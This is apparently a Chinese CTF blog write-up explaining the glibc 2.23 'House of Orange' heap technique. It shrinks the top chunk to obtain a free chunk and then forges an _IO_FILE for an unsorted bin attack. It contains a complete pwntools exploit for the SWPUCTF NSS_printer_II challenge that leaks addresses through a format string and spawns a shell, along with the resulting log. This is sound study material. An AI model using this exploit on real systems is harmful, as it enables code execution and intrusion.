house of orange
我们在打House of Force中使用的方法是修改Top_chunk为一个特别大的值来拿捏Top_chunk,之后申请一个特别大的chunk, 循环一遍内存之后就可以访问到原本Top_chunk上方的内容
那如果将Top_chunk修改为一个很小的值呢?
malloc分配内存的时候实际上更底层是通过sbrk的调用拓展内存的空间的 假如我们把Top_chunk修改为一个很小的数,这时再申请一个更大的chunk 内存认为的Top_chunk是无法满足申请空间的需求的,因此堆管理器后续会再使用brk申请一块新的区域
正常来说堆管理器会直接将通过brk分配的新内存直接并入到Top_chunk中(即让Top_chunk变大) 但是由于我们改小了Top_chunk,堆管理器认为Top_chunk与堆的尾部并不相邻
因此会将原本的Top_chunk Free掉
这样一番过程下来,我们就没有通过Free函数得到了一个Free chunk 根据修改的Top Chunk大小,我们可以利用这个Free Chunk来实现Unsorted bin attack
利用Unsorted bin attack结合伪造IO_file就可以劫持程序执行流
需要伪造的是这段,目标是触发_overflow函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> dt FILE FILE +0x0000 _flags : int +0x0008 _IO_read_ptr : char * +0x0010 _IO_read_end : char * +0x0018 _IO_read_base : char * +0x0020 _IO_write_base : char * +0x0028 _IO_write_ptr : char * +0x0030 _IO_write_end : char * +0x0038 _IO_buf_base : char * +0x0040 _IO_buf_end : char * +0x0048 _IO_save_base : char * +0x0050 _IO_backup_base : char * +0x0058 _IO_save_end : char * +0x0060 _markers : struct _IO_marker * +0x0068 _chain : struct _IO_FILE * +0x0070 _fileno : int +0x0074 _flags2 : int +0x0078 _old_offset : __off_t +0x0080 _cur_column : short unsigned int +0x0082 _vtable_offset : signed char +0x0083 _shortbuf : char [1 ] +0x0088 _lock : _IO_lock_t * +0x0090 _offset : __off64_t +0x0098 _codecvt : struct _IO_codecvt * +0x00a0 _wide_data : struct _IO_wide_data * +0x00a8 _freeres_list : struct _IO_FILE * +0x00b0 _freeres_buf : void * +0x00b8 __pad5 : size_t +0x00c0 _mode : int +0x00c4 _unused2 : char [20 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pwndbg> p *_IO_list_all $1 = { file = { _flags = -72540025 , _IO_read_ptr = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_read_end = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_read_base = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_write_base = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_write_ptr = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_write_end = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_buf_base = 0x7f0b81d6d703 <_IO_2_1_stderr_+131 > "" , _IO_buf_end = 0x7f0b81d6d704 <_IO_2_1_stderr_+132 > "" , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x7f0b81d6d760 <_IO_2_1_stdout_>, _fileno = 2 , _flags2 = 0 , _old_offset = -1 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x7f0b81d6e8b0 <_IO_stdfile_2_lock>, _offset = -1 , _codecvt = 0x0 , _wide_data = 0x7f0b81d6c780 <_IO_wide_data_2>, _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = 0 , _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f0b81d692a0 <_IO_file_jumps> }
还是放段源码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE {int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE };
可以按照如下伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 fake_file = b'/bin/sh\x00' fake_file += p64(0x61 ) fake_file += p64(0 ) + p64(io_list_all - 0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += b'\x00' *0x90 fake_file += p64(0 ) fake_file += b'\x00' *0x10 fake_file += p64(heap_base + 0x120 ) fake_file += p64(0 )*3 fake_file += p64(system) payload = b'a' *0x10 payload += fake_file
注意该攻击手段仅适用于2.23及2.23以前,但是其在无free的情况下造成free的手段可以使用 来看个例题吧[SWPUCTF 2021 新生赛]NSS_printer_II checksec
1 2 3 4 5 6 7 └─$ checksec printer [*] '/mnt/Desktop/printer' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
main函数内存在一次base编码,具体不赘述 存在格式化字符串漏洞,可以泄露libc和heap 只有增,删改查都没有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; unsigned int size; char *format; char s1[32 ]; char v7[32 ]; char v8[136 ]; unsigned __int64 v9; v9 = __readfsqword(0x28 u); init(argc, argv, envp); v3 = 0 ; while ( 1 ) { do { printf ("username = " ); gets(s1); printf ("password = " ); gets(v7); ++v3; base64_encode(v7, (__int64)v8); } while ( strcmp (s1, "NSSCTF" ) ); if ( !strcmp (v8, "Z=FZJhKU5jPQ3jC65I86F0Kb" ) ) { puts ("Hello, welcome to NSS printer" ); while ( 1 ) { printf ("lens of your word: " ); size = read_num(); if ( size > 0x1000 ) break ; format = (char *)malloc (size); printf ("input what you want to say: " ); gets(format); printf ("you said: " ); printf (format); putchar (10 ); } puts ("too long" ); exit (1 ); } } }
难点就是如何在没有free的情况下free掉一个chunk,使其进入unsortedbin,以完成稍后的利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *from LibcSearcher import *from ctypes import *from struct import pack context(arch = 'amd64' , os = 'linux' , log_level = 'debug' )def debug (): gdb.attach(p) pause() p = remote('node5.anna.nssctf.cn' , 29000 ) p.sendlineafter("username = " , "NSSCTF\x00" ) p.sendlineafter("password = " , "NSSCTF{b@se_xx_64}\x00" )def attack (size, content ): p.sendlineafter("word: " , str (size)) p.sendlineafter("say: " , content) pl = b'%37$p.%33$p.%9$p' + p64(0 ) + p64(0xfe1 ) attack(0x10 , pl) p.recvuntil('0x' ) libc_start_main_addr = int ((p.recv(12 )),16 ) - 240 p.recvuntil('0x' ) pro_base = int ((p.recv(12 )),16 ) - 0xa10 p.recvuntil('0x' ) heap_base = int ((p.recv(12 )),16 ) - 0x10 libc = ELF('./libc.so.6' ) libc_base = libc_start_main_addr - libc.sym['__libc_start_main' ] system = libc_base + libc.sym['system' ] io_list_all = libc_base + libc.sym['_IO_list_all' ] success("libc:%s" ,hex (libc_base)) success("system:%s" ,hex (system)) success("heap_base:%s" ,hex (heap_base)) attack(0x1000 , b'aaaaa' ) fake_file = b'/bin/sh\x00' fake_file += p64(0x61 ) fake_file += p64(0 ) + p64(io_list_all - 0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += b'\x00' *0x90 fake_file += p64(0 ) fake_file += b'\x00' *0x10 fake_file += p64(heap_base + 0x120 ) fake_file += p64(0 )*3 fake_file += p64(system) payload = b'a' *0x10 payload += fake_file attack(0x10 , payload) p.sendlineafter("word: " , str (0x10 )) p.interactive()
报了一堆错,但是弹了一个shell 需要多打几次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [DEBUG] Received 0x4b bytes: b"*** Error in `./pwn5': malloc(): memory corruption: 0x00007f3d936e6520 ***\n" *** Error in `./pwn5' : malloc (): memory corruption: 0x00007f3d936e6520 *** [DEBUG] Received 0x178 bytes: b' ======= Backtrace: =========\n' b' /lib/x86_64-linux-gnu/libc.so.6 (+0x777f5 )[0x7f3d933987f5 ]\n' b' /lib/x86_64-linux-gnu/libc.so.6 (+0x8215e )[0x7f3d933a315e ]\n' b' /lib/x86_64-linux-gnu/libc.so.6 (__libc_malloc+0x54 )[0x7f3d933a51d4 ]\n' b'. /pwn5(+0xfc0 )[0x55dc9c804fc0 ]\n' b' /lib/x86_64-linux-gnu/libc.so.6 (__libc_start_main+0xf0 )[0x7f3d93341840 ]\n' b'. /pwn5(+0xa39 )[0x55dc9c804a39 ]\n' b' ======= Memory map : ========\n' ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6 (+0x777f5 )[0x7f3d933987f5 ] /lib/x86_64-linux-gnu/libc.so.6 (+0x8215e )[0x7f3d933a315e ] /lib/x86_64-linux-gnu/libc.so.6 (__libc_malloc+0x54 )[0x7f3d933a51d4 ] ./pwn5(+0xfc0 )[0x55dc9c804fc0 ] /lib/x86_64-linux-gnu/libc.so.6 (__libc_start_main+0xf0 )[0x7f3d93341840 ] ./pwn5(+0xa39 )[0x55dc9c804a39 ] ======= Memory map : ======== $
第一次复现如此巧妙的攻击手法,喵喵喵 前面的例题,以后再来探索吧